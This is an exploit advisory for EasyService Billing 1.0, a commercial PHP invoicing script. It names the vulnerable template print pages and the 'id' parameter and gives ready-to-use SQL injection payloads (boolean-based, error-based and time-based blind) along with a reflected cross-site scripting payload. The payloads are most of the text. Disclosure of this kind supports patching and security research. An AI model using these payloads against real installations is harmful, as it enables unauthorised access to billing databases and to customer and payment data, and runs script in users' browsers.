EasyService Billing 1.0 – SQL Injection / Cross-Site Scripting
# Exploit Title: EasyService Billing 1.0 - 'template_().php' SQL Injection / Cross-Site Scripting # Dork: N/A # Date: 22.05.2018 # Exploit Author: Özkan Mustafa Akkuş (AkkuS) # Vendor Homepage: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594 # Version: 1.0 # Category: Webapps # Tested on: Kali linux # Description : all of the print and preview pages have the same vulnerabilities. (template_SBilling.php, template_Receipt.php, template_SBillingPerforma.php,template_SBillingQuotation.php) All of them use the same parameters. An attacker can use any of these. ==================================================== # PoC : SQLi : Parameter : id Type : boolean-based blind Demo : http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=145 Payload : tid=3&id=145' OR NOT 3938=3938# Type : error-based Demo : http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=145 Payload : tid=3&id=145' AND (SELECT 7524 FROM(SELECT COUNT(*),CONCAT(0x7162707671,(SELECT (ELT(7524=7524,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UjGj Type : AND/OR time-based blind Demo : http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=145 Payload : tid=3&id=145' AND SLEEP(5)-- USaG ==================================================== # PoC : XSS : Payload : http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=' </script><script>alert(1)</script>‘; |